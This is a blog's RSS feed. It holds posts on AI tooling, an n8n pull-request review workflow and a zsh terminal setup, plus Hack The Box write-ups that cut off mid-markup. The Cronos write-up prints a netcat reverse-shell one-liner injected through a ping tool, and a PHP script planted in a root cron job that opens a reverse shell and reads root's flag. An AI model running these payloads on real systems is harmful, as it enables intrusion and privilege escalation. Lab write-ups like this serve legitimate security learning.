<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rishabh Rai on Medium]]></title>
        <description><![CDATA[Stories by Rishabh Rai on Medium]]></description>
        <link>https://medium.com/@rishabhrai02?source=rss-fdf155c308d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*e7KHB0hbkcQxfiSNxW4Jug.jpeg</url>
            <title>Stories by Rishabh Rai on Medium</title>
            <link>https://medium.com/@rishabhrai02?source=rss-fdf155c308d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 08:18:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rishabhrai02/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Made OpenCode Feel 10x Faster with GSD]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://rishabhrai02.medium.com/how-i-made-opencode-feel-10x-faster-with-gsd-865a5c19a699?source=rss-fdf155c308d------2"><img src="https://cdn-images-1.medium.com/max/1860/1*IPDoRjJNVhZG9I0k8Jx1aA.png" width="1860"></a></p><p class="medium-feed-snippet">After spending time with both the default OpenCode orchestration flow and the GSD execution model, the difference became very obvious:</p><p class="medium-feed-link"><a href="https://rishabhrai02.medium.com/how-i-made-opencode-feel-10x-faster-with-gsd-865a5c19a699?source=rss-fdf155c308d------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://rishabhrai02.medium.com/how-i-made-opencode-feel-10x-faster-with-gsd-865a5c19a699?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/865a5c19a699</guid>
            <category><![CDATA[generative-ai-tools]]></category>
            <category><![CDATA[workflow]]></category>
            <category><![CDATA[terminal]]></category>
            <category><![CDATA[open-code]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Thu, 07 May 2026 20:48:13 GMT</pubDate>
            <atom:updated>2026-05-07T20:48:13.713Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[OPENCODE ai — new META]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://rishabhrai02.medium.com/opencode-ai-new-meta-ea125ed54098?source=rss-fdf155c308d------2"><img src="https://cdn-images-1.medium.com/max/2600/1*A59TZAqPg710bgTQSJg_RQ.png" width="3392"></a></p><p class="medium-feed-snippet">OpenCode AI- New Meta</p><p class="medium-feed-link"><a href="https://rishabhrai02.medium.com/opencode-ai-new-meta-ea125ed54098?source=rss-fdf155c308d------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://rishabhrai02.medium.com/opencode-ai-new-meta-ea125ed54098?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea125ed54098</guid>
            <category><![CDATA[claude-code]]></category>
            <category><![CDATA[agentic-workflow]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[openai]]></category>
            <category><![CDATA[open-code]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Fri, 13 Feb 2026 09:17:43 GMT</pubDate>
            <atom:updated>2026-02-16T08:10:50.473Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Automated PR Review IComments (n8n)]]></title>
            <link>https://rishabhrai02.medium.com/automated-pr-review-icomments-n8n-8f601a7f6685?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f601a7f6685</guid>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[n8n]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[n8n-workflow]]></category>
            <category><![CDATA[ai-pr-review]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 11:57:54 GMT</pubDate>
            <atom:updated>2025-08-01T07:23:40.356Z</atom:updated>
            <content:encoded><![CDATA[<h3>Supercharge Your Github Code Review With This N8N Workflow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6D5Bo43gRScuBdYbE8xfBg.png" /></figure><p>Hello everyone!</p><p>Like many of you, I’ve been fascinated by the recent AI boom in the tech world. While it’s tempting to let AI take over everything, I believe its true power lies in being a helpful tool in our toolbox — something that works alongside us, with proper supervision.</p><p>So, I targeted one of the most important but mundane parts of our coding process: the initial PR review. Using <strong>n8n</strong>, I created an automated workflow that gives every pull request a “first look.” It’s been a great way to streamline our process and ensure we’re using our developers’ time for what truly matters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*usYHP5kDpJoY3-wk" /></figure><h3><strong>What is n8n ?</strong></h3><p>In simple terms n8n is a platform where you can automate api calls flow in the form of flow chart format with minimal or no coding and then connect them using nodes.</p><p>You can <strong>self-host</strong> it on your own server for complete data privacy and control or use its convenient cloud service</p><h3>Pre-requisites :</h3><p>Before you can use this workflow, you’ll need a few things set up:</p><blockquote><strong>An n8n instance:</strong> You can use n8n Cloud or a self-hosted version.</blockquote><blockquote><strong>GitHub Account &amp; Credentials:</strong> You’ll need a GitHub account and a <strong>Personal Access Token (PAT)</strong> with full repo permissions to allow n8n to read PRs and post comments.</blockquote><blockquote><strong>Google Gemini (or other LLM) Credentials:</strong> You’ll need an API key from a large language model provider. My workflow uses Google Gemini, but it can be swapped out for others like OpenAI.</blockquote><p>Once you have all this setup we can move to the actual thing and i will explain how the work flow works and how can you leverage this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X7Awys4nYx3XFSAik4NQwQ.png" /><figcaption>Actual WorkFlow</figcaption></figure><h3>WorkFlow :</h3><p>This might look complex but it is very simple once we go through it one by one and let’s get to it.</p><h3>1. Trigger on New Pull Requests</h3><ul><li><strong>Node:</strong> PR Trigger (GitHub Trigger)</li><li><strong>What it does:</strong> This is the starting point. The workflow kicks off automatically whenever a new pull request is <strong>opened</strong> in my specified GitHub repository. The Filter node right after it ensures we only proceed with the &quot;opened&quot; event and ignore other PR actions like closing or editing.</li></ul><h3>2. Fetch the Code Changes (Diffs)</h3><ul><li><strong>Node:</strong> Get file&#39;s Diffs from PR (HTTP Request)</li><li><strong>What it does:</strong> Once the workflow is triggered, it needs to know what code actually changed. This node makes an API call to GitHub to retrieve the “diff” — the specific lines that were added or removed in each file of the pull request.</li></ul><h3>3. Build the AI Prompt &amp; Send for Review</h3><ul><li><strong>Nodes:</strong> Build Prompt for File (Code), Code Review Agent (Lang chain Agent), Google Gemini Chat Model (LLM)</li><li><strong>What they do:</strong> This is where the magic happens! 🪄</li></ul><blockquote>The Build Prompt for File node takes the raw diffs from the previous step and formats them into a clean, readable text block.</blockquote><blockquote>It then wraps this text in a detailed prompt I wrote for the AI. This prompt instructs the AI to act as an expert code reviewer, giving it specific rules on how to analyze the code and, most importantly, how to format its feedback into a strict JSON structure.</blockquote><blockquote>The Code Review Agent takes this prompt and passes it to the Google Gemini Chat Model. The AI analyzes the code diff based on my instructions and returns its findings.</blockquote><blockquote>In this node there is one extra AI call that upon the result from AI again analyses so that the json format is correctly managed because the handeling for the json in the ongoing req is very sensitive hence the extra handling is added</blockquote><h3>4. Parse the AI’s Feedback</h3><ul><li><strong>Node:</strong> Parse Inline Comments (Code)</li><li><strong>What it does:</strong> The AI sends back its review comments in a JSON format. This node parses that JSON, extracts each individual comment, and enriches it with necessary data from the trigger node, like the PR number and the commit SHA. This prepares each comment to be posted correctly.</li></ul><h3>5. Post Comments to the PR</h3><ul><li><strong>Nodes:</strong> Loop Over Items (SplitInBatches), If (If), Add Single Line Comment &amp; Add Multi Line Comment (HTTP Request)</li><li><strong>What they do:</strong> An AI review can generate multiple comments for different files and lines.</li></ul><blockquote>The Loop Over Items node processes each comment one by one.</blockquote><blockquote>The If node checks if the comment is for a single line or a multi-line range. Based on the option the request is handled differently.</blockquote><blockquote>Based on that check, it routes the data to one of two HTTP Request nodes that post the comment to the exact file and line number(s) in the GitHub PR.</blockquote><h3>6. Finish Up by Adding a Label</h3><ul><li><strong>Node:</strong> Add Label to PR (GitHub)</li><li><strong>What it does:</strong> After all the comments have been successfully posted, this final node adds a “ReviewedByAI” label to the pull request. This is a great visual indicator for the team that the automated review process is complete and the PR is ready for actual review by one of the reviewers mentioned in the PR.</li></ul><p>The impact of this workflow has been immediate and positive. It saves a significant amount of time and acts as a reliable safety net, catching minor details that were sometimes overlooked. The best part is the inline commenting; by highlighting issues directly on the relevant lines of code, it ensures that nothing is missed by the person raising the PR or the final human reviewer. This clarity helps our team work faster and with more confidence.</p><p>🗒 <a href="https://github.com/RishabhRai2202/N8N-Worflows/blob/main/githubPrReview.json">Workflow JSON</a>:. For future updates, please visit my profile. If this was helpful, consider giving it a star on GitHub.</p><h3>Building intelligent automation with Java, Spring Boot, and AI. Let’s exchange ideas and insights and stay ahead of the curve..</h3><h3><a href="https://linktr.ee/RishabhRai">CONNECT WITH ME </a>🔗💻</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f601a7f6685" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering the Terminal: My Automation Engineer’s Workflow]]></title>
            <link>https://rishabhrai02.medium.com/my-terminal-as-an-automation-engineer-4510ca7e6729?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4510ca7e6729</guid>
            <category><![CDATA[maven]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[terminal]]></category>
            <category><![CDATA[iterm2]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Sat, 04 Jan 2025 13:42:33 GMT</pubDate>
            <atom:updated>2025-01-04T17:18:12.984Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VvVHirveQ6ka90DTbc0Xrw.png" /><figcaption><strong>Iterm</strong></figcaption></figure><p>As we step into the new year, I want to take a moment to reflect on my journey so far. Last year brought many changes, including a smooth transition from my early interests in cybersecurity during college to my current role as an automation engineer. It’s been a rewarding shift filled with new challenges, and I’ve enjoyed diving into this dynamic field.</p><p>This blog is a space to share insights, experiences, and tips that have helped me along the way. To begin, I’ll highlight one of the most critical aspects of my daily workflow — my terminal setup, which keeps me productive and efficient in my day-to-day work.</p><p>I have a setup on my mac os, and as being from the cyber backgroudn i was much used ot be on the terminal then on the UI of the OS. But shifting to mac, made me do some changes to my terminal to make it more happening and in other words 🆒.</p><p>To start with the changes I first Installed :</p><h4><a href="https://iterm2.com/">Iterm </a>:</h4><p>A great utility in place of default Terminal app provided by mac even though you can choose to use the default terminal and zsh level changes would seem similar i guess. But using iterm is a personal opinion. Right of the bat it gives some customizations like split panes for multi-session views, hotkey-triggered windows for instant access, and a powerful search with regular expression support. Autocomplete, paste history, and instant replay features streamline navigation and recall. Customizability, Unix-like shortcuts, and 24-bit color support make it highly adaptable. Advanced tools like smart cursor color, global search, triggers, and automatic profile switching ensure an optimized and responsive terminal experience. With shell integration, inline image support, and even a built-in password manager, iTerm2 transforms how users interact with their terminal environment.. You can also explore some of the features from the Features Page of Iterm2.</p><h4>GitHub Aliases:</h4><p>Now we have the boiler plate done for our setup ! Let’s move forward with the … github part done. As an automation engineer I spend most of my time using java, selenium and github for my day to day commits, pull, push and merges. To do that using the terminal you have to type in github commands that are long sometimes and also take a lot of time to type it again and again. To solve this I added aliases for Github. in config file of github.</p><p>There are a lot of youtube videos that show great deals of aliases but I have my personal aliases and if you want for yourself you can just give these commands in you terminal ….</p><pre>git config - global alias.acm &#39;!git add . &amp;&amp; git commit -m&#39;<br>git config - global alias.acmp &#39;!f() { git add . &amp;&amp; git commit -m &quot;$1&quot; &amp;&amp; git push; }; f&#39;<br>git config - global alias.nb &#39;!git checkout main &amp;&amp; git pull &amp;&amp; git checkout -b&#39;</pre><p>From these commands you will have three aliases and there functions are pretty simple…</p><blockquote><strong><em>acm</em></strong><em> -&gt; this will simply add and do commit with a message at the end of the command</em></blockquote><blockquote><em>&gt; Usage: </em>git acm “your message here”</blockquote><blockquote><strong>acmp </strong>-&gt; this will add commit and then also push and this is fucntion which takes the first argument as commit message and making it easy for me to push my current changes while adding commiting alltogether.</blockquote><blockquote><em>&gt;Usage: git acmp “your message here”</em></blockquote><blockquote><strong>nb </strong>-&gt; this will create a new branch but with a twist this will also do git pull so that the main branch is updated when you create a new branch.</blockquote><blockquote><em>&gt;Usage: git nb “branch_name_here”</em></blockquote><ul><li>note: you should only give a branch name that is valid in github … meaning no spaces, though you can code to replace any space with _ .</li><li>Do it and let me know….</li></ul><p><strong>ZSH (Oh My ZSH!!) :</strong></p><p>Oh My Zsh is an open-source framework that makes using Zsh more powerful and efficient. It offers autocomplete, syntax highlighting, and tons of plugins and themes to customize your terminal. With over 300 plugins for development tools and version control, it helps streamline workflows and makes the command line more interactive and visually appealing.</p><p>You can setup your Oh my ZSH and customize it according to your needs from their github repo….</p><blockquote><a href="https://github.com/ohmyzsh/ohmyzsh">https://github.com/ohmyzsh/ohmyzsh</a></blockquote><p>Now if you want something like what I have on my zsh you have install oh my zsh and then you will have to replace your .zshrc to one like this.</p><pre># Enable Powerlevel10k instant prompt. Should stay close to the top of ~/.zshrc.<br># Initialization code that may require console input (password prompts, [y/n] confirmations, etc.) must go above this block; everything else may go below this block.<br>if [[ -r &quot;${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh&quot; ]]; then<br>  source &quot;${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh&quot;<br>fi<br><br>fcd(){<br>  local dir<br>  dir=$(find ${1:-.} -type d -not -path &#39;*/\.*&#39; 2&gt; /dev/null | fzf +m) &amp;&amp; cd &quot;$dir&quot;<br>}<br><br># If you come from bash you might have to change your $PATH.<br># export PATH=$HOME/bin:$HOME/.local/bin:/usr/local/bin:$PATH<br><br># Path to your Oh My Zsh installation.<br>export ZSH=&quot;$HOME/.oh-my-zsh&quot;<br>export PATH=&quot;/opt:$PATH&quot;<br><br># Set name of the theme to load<br>ZSH_THEME=&quot;powerlevel10k/powerlevel10k&quot;<br><br># Uncomment the following line to use case-sensitive completion.<br># CASE_SENSITIVE=&quot;true&quot;<br><br># Uncomment the following line to use hyphen-insensitive completion.<br># HYPHEN_INSENSITIVE=&quot;true&quot;<br><br># Uncomment one of the following lines to change the auto-update behavior<br># zstyle &#39;:omz:update&#39; mode disabled  # disable automatic updates<br># zstyle &#39;:omz:update&#39; mode auto      # update automatically without asking<br># zstyle &#39;:omz:update&#39; mode reminder  # just remind me to update when it&#39;s time<br><br># Uncomment the following line to change how often to auto-update (in days).<br># zstyle &#39;:omz:update&#39; frequency 13<br><br># Uncomment the following line if pasting URLs and other text is messed up.<br># DISABLE_MAGIC_FUNCTIONS=&quot;true&quot;<br><br># Uncomment the following line to disable colors in ls.<br># DISABLE_LS_COLORS=&quot;true&quot;<br><br># Uncomment the following line to disable auto-setting terminal title.<br># DISABLE_AUTO_TITLE=&quot;true&quot;<br><br># Uncomment the following line to enable command auto-correction.<br># ENABLE_CORRECTION=&quot;true&quot;<br><br># Uncomment the following line to display red dots whilst waiting for completion.<br># COMPLETION_WAITING_DOTS=&quot;true&quot;<br><br># Uncomment the following line if you want to disable marking untracked files<br># under VCS as dirty. This makes repository status check for large repositories<br># much, much faster.<br># DISABLE_UNTRACKED_FILES_DIRTY=&quot;true&quot;<br><br># Uncomment the following line if you want to change the command execution time<br># stamp shown in the history command output.<br># HIST_STAMPS=&quot;mm/dd/yyyy&quot;<br><br># Would you like to use another custom folder than $ZSH/custom?<br># ZSH_CUSTOM=/path/to/new-custom-folder<br><br># Which plugins would you like to load?<br>plugins=(git zsh-autosuggestions zsh-syntax-highlighting)<br><br>source $ZSH/oh-my-zsh.sh<br><br># User configuration<br><br># export MANPATH=&quot;/usr/local/man:$MANPATH&quot;<br><br># You may need to manually set your language environment<br># export LANG=en_US.UTF-8<br><br># Preferred editor for local and remote sessions<br># if [[ -n $SSH_CONNECTION ]]; then<br>#   export EDITOR=&#39;vim&#39;<br># else<br>#   export EDITOR=&#39;nvim&#39;<br># fi<br><br># Compilation flags<br># export ARCHFLAGS=&quot;-arch $(uname -m)&quot;<br><br># Set personal aliases, overriding those provided by Oh My Zsh libs,<br># plugins, and themes. Aliases can be placed here, though Oh My Zsh<br># users are encouraged to define aliases within a top-level file in<br># the $ZSH_CUSTOM folder, with .zsh extension.<br>#<br># Example aliases<br># alias zshconfig=&quot;mate ~/.zshrc&quot;<br># alias ohmyzsh=&quot;mate ~/.oh-my-zsh&quot;<br><br># To customize prompt, run p10k configure or edit ~/.p10k.zsh.<br>[[ ! -f ~/.p10k.zsh ]] || source ~/.p10k.zsh<br><br>[ -f ~/.fzf.zsh ] &amp;&amp; source ~/.fzf.zsh<br><br># export JAVA_HOME=&quot;&lt;hidden&gt;&quot;<br># export M2_HOME=&quot;&lt;hidden&gt;&quot;<br># export PATH=${M2_HOME}/bin:${PATH}<br># export PATH<br><br># mvnc function<br>mvnc() {<br>  mvn clean install -P$1 -Dcucumber.filter.tags=&quot;$2&quot;<br>}<br><br>typeset -g POWERLEVEL9K_INSTANT_PROMPT=quiet<br><br>figlet &quot;Hello , $(whoami)!&quot; | lolcat<br>neofetch</pre><p>In my ~/.zshrc file, I’ve customized various settings to optimize my terminal environment. I’ve set the theme to Powerlevel10k for a clean and visually appealing prompt, and enabled plugins like git, zsh-autosuggestions, and zsh-syntax-highlighting to improve productivity with features like autocompletion and syntax highlighting. I’ve also configured environment variables such as JAVA_HOME and M2_HOME to manage tools and paths. One of my custom additions is the mvnc command, which runs Maven&#39;s clean and install commands with specific profiles and tags for Cucumber tests. Figlet is used to add a custom text and giving it color using the lolcat command, after that there is neo fetch which gives a unique output whenever i open my terminal for this mac it shows the logo and basic system details in color which does look cool.</p><p>Every time I open a new terminal session, these settings are applied, giving me a streamlined and efficient workflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-QyP5kneodbiGYhJzSyKg.png" /><figcaption>Custom Nav Bar</figcaption></figure><p>You can also config your custom nav bar using Oh my zsh. And with the line that adds plugin in the .zshrc file of mine I have added above :</p><blockquote>plugins=(git zsh-autosuggestions zsh-syntax-highlighting)</blockquote><p>Due to git in the plugin i am able to see what number of files are changed in the current branch and other small details. Which does make the life easier while being working for hours on some branch.</p><pre>fcd(){<br>  local dir<br>  dir=$(find ${1:-.} -type d -not -path &#39;*/\.*&#39; 2&gt; /dev/null | fzf +m) &amp;&amp; cd &quot;$dir&quot;<br>}</pre><p>This block of code in my .zshrc file is used for doing fuzzy search I experimented a little after seeing it in some youtube video. And i does feel nice to have a dynamic search option like this in my terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uW8KYBFV5m--Oa8w18FWBQ.png" /></figure><p>This is how it looks in action you just have to type in the location that you have to search then after than you search for files in that particular section very easily.</p><p>Finally you have something to experiment with and also this base line setup will be productive to help you with day to day tasks.</p><p>Hit me up if you have some suggestions to do some improvements in the terminal..!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4510ca7e6729" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cronos — HTB Machine]]></title>
            <link>https://rishabhrai02.medium.com/cronos-htb-machine-261b1f94e308?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/261b1f94e308</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cronos]]></category>
            <category><![CDATA[machine]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Sat, 30 Mar 2024 14:23:29 GMT</pubDate>
            <atom:updated>2024-03-30T14:23:29.259Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cronos — HTB Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rjce2LEMv3x2-v8_NZekPw.png" /></figure><p>Today we are going to solve another machine called Cronos….. I have fired it up and run my nmap script to give me initial scans which shows three ports open let’s dig deeper into those……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-DGIBRqQWmAxhFiHMASpg.png" /></figure><p>Upon visiting the webpage :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uicpmC4HDTp3spbrnKNQIA.png" /></figure><p>When clicked on Documentation it takes me to the documentation page of laravel….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p0cjxQmHj0TTqkEnL8okAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*4YAXM-lVYLETRj9gyWvf1Q.png" /></figure><p>Since everythign was very simple and i couldn’t find anything i tried Gobuster and Sublist3r both to find out vhost/subdomain to the parent domain but Due to some reason i was unable to find anything. When i did some research i found out I am on the right path so. I restarted the machine and then tried again..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cnSo9ySLZslRe0r5pGuDNA.png" /></figure><p>i was still not able to get any vhost from the machine ….. <br>Then I came across a command which helped me to get the value for the subdomain</p><blockquote>host -l &lt;domain_name&gt; &lt;IP&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*LgM1nbyoqJVO_AMerMijjw.png" /></figure><p>I will add admin.cronos.htb in the hosts file …….</p><p>Upon loading the admin page I only got a simple login page then i started dirsearch on the domain.. admin.cornos.htb <br>Found config.php but it was supposedly a rabbit hole …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nw_Hcme6kKbxKZDF8SWKSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uKGWCdy3OsTvRWwpndZfXw.png" /></figure><p>Didn’t find anything in diectory listing as well……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_acJdQxdpXQaUVxWEBVGQ.png" /></figure><p>We do have a cookie here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6h2ZT-j-NezxeVEYC93KBQ.png" /></figure><p>I tried SQL injection on the tool and found this …….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqVq5YxY-rZ96DU7R8hexQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-9oR-2qC_2Xte06RD7xdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JmEgpvOnpB3RJNhGe_jLBw.png" /></figure><p>Net tool is a tool that gives you two functionality : <br>One → to traceroute<br>Two → to PING</p><p>Hindering with the burp request of PING i got command injection on the mahcine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*oM-QOXgSDt6c2rK7dHD0cg.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uXwHnAl3nPdIj10QvS2S2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*CUiiOEBNYTCS8uRMMHcrtg.png" /></figure><p>Since we have command injection so we can execute a command and then get a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5TQEop9qdFo5OLNyaPH-A.png" /></figure><blockquote>used this <br>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.0.0.1 1234 &gt;/tmp/f</blockquote><blockquote>payload and URL encoded it to run on the box</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*7gj4YtD0BPpqcJY9vbuIYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*VJc3AzOAOD8JH5xHQ_AWvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*5J-RcyjK-arV8SPpj-8Uzg.png" /></figure><ul><li>* * * * root php /var/www/laravel/artisan schedule:run &gt;&gt; /dev/null 2&gt;&amp;1</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*cyoMZFNrRVeJYmQQsL7-Sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*oOcEk72eh9UI9Zj5wMXB3Q.png" /></figure><p>I changed the content of atrisan and i did got a connection request but it did not give me a reverse shell on my machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*j58xKvdiXKNfrlsV6phleQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*vwg9r3dVKsohRJgrUD0Euw.gif" /></figure><p>I tried some more times but it did not work so I had to get creative and get the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*8rKLmmfIoXZd18IhKBa7ZA.png" /></figure><p>Content of Artisan:</p><blockquote>&lt;?php<br>// Change these values accordingly<br>$ip = ‘10.10.14.6’;<br>$port = 1456;</blockquote><blockquote>// Create a TCP/IP socket<br>$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);</blockquote><blockquote>// Attempt to connect to the provided IP and port<br>if (socket_connect($sock, $ip, $port) === false) {<br> die(‘Could not connect to ‘ . $ip . ‘:’ . $port . PHP_EOL);<br>}</blockquote><blockquote>// Set socket to non-blocking mode<br>socket_set_nonblock($sock);</blockquote><blockquote>// Spawn a shell<br>shell_exec(‘bash -c “bash -i &gt;&amp; /dev/tcp/’ . $ip . ‘/’ . $port . ‘ 0&gt;&amp;1”’);<br>$output = shell_exec(‘cat /root/root.txt’);<br>file_put_contents(‘/var/www/laravel’, $output);<br>?&gt;</blockquote><p>&gt;&gt;&gt;&gt; root.txt has the content of root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*HJg84OjR65AyiF_j5LkyJQ.png" /></figure><p>That is how we have PAWNED another machine for the day!! HAPPY HACKING UNTIL NEXT TIMEEE</p><p>My Review: <br>This box is a fundamental one and you might have to think out of the box in the start and end other than that the journey in the middle is a breeze if you are up for it. There are several rabbit holes. SO MIND YOUR STEPS !! 😂😁</p><h3>Join me on various platforms to discuss Cybersecurity and Cloud-related topics. From security best practices to cloud infrastructure, let’s exchange ideas and insights and stay ahead of the curve..</h3><h3><a href="https://linktr.ee/RishabhRai">CONNECT WITH ME </a>🔗💻</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=261b1f94e308" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brainfuck — HTB Machine]]></title>
            <link>https://rishabhrai02.medium.com/brainfuck-htb-machine-e916182a42db?source=rss-fdf155c308d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e916182a42db</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[brainfuck]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Rishabh Rai]]></dc:creator>
            <pubDate>Sun, 24 Mar 2024 17:24:50 GMT</pubDate>
            <atom:updated>2024-03-24T17:24:50.077Z</atom:updated>
            <content:encoded><![CDATA[<h3>Brainfuck — HTB Machine</h3><p>Hello everyone, Today we are going to solve an old insane machine …… Brainfuck from the retired machines list of HTB.</p><p>let’s get started with firing up the machine and scanning the IP ….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6paheuMi1MXE8dVfqicpeQ.png" /></figure><p>let’s run this IP to hack scanner to quickly scan evrything..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZizKvUjRif3zmAv8wte-fw.png" /></figure><p>Ok so scan ran gave me some ports as open and one of them was 443/https</p><p>since i have only included dirsearch scan for http ports in my script, the scan did not start on it’s own but i will include it in my script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aK_52g5jJkVzeAr9I-Bhxw.png" /></figure><p>here are the scans ….</p><p>I also enumerated the smtp first … but was unable to do it manually later on fired up msfconsole and did a enumeration to find several users …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jTwCo5RVqzNTLhUu37oSQ.png" /></figure><p>but it was of no use…</p><p>later i started a dir search scan on the domain..</p><p>We can see there is wordpress here so first thing that i fired up was <strong>wpscan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dgaeu3VvK2LrRLenrV_w6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*I1dwMFERYIMGAtwJkOGMZA.png" /></figure><p>so upon looking it up in the searchsploit i found this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLTVWCH46IhhSE5OBAQg4w.png" /></figure><p>I copied it on my directory .. using the command</p><blockquote>searchsploit -m php/webapps/41006.txt</blockquote><blockquote>I changed the exploit to my usage and then i hit</blockquote><blockquote>firefox exploit.html</blockquote><p>Which opened up a webpage like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*IdZ6KugtLCbRaHIXy0U2Yg.png" /></figure><p>upon hitting login it will take me to /wp-admin/ajax….</p><figure><img alt="" 